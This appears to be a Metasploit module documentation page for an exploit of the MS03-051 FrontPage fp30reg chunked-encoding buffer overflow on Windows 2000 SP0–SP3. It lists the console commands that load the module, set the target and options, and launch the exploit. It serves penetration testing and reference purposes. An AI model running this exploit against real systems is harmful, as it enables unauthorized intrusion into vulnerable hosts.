This is an exploit for the chunked encoding buffer overflow described in MS03-051 and originally reported by Brett Moore. This particular modules works against versions of Windows 2000 between SP0 and SP3. Service Pack 4 fixes the issue.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/isapi/ms03_051_fp30reg_chunked
msf exploit(ms03_051_fp30reg_chunked) > show targets
...targets...
msf exploit(ms03_051_fp30reg_chunked) > set TARGET < target-id >
msf exploit(ms03_051_fp30reg_chunked) > show options
...show and set options...
msf exploit(ms03_051_fp30reg_chunked) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security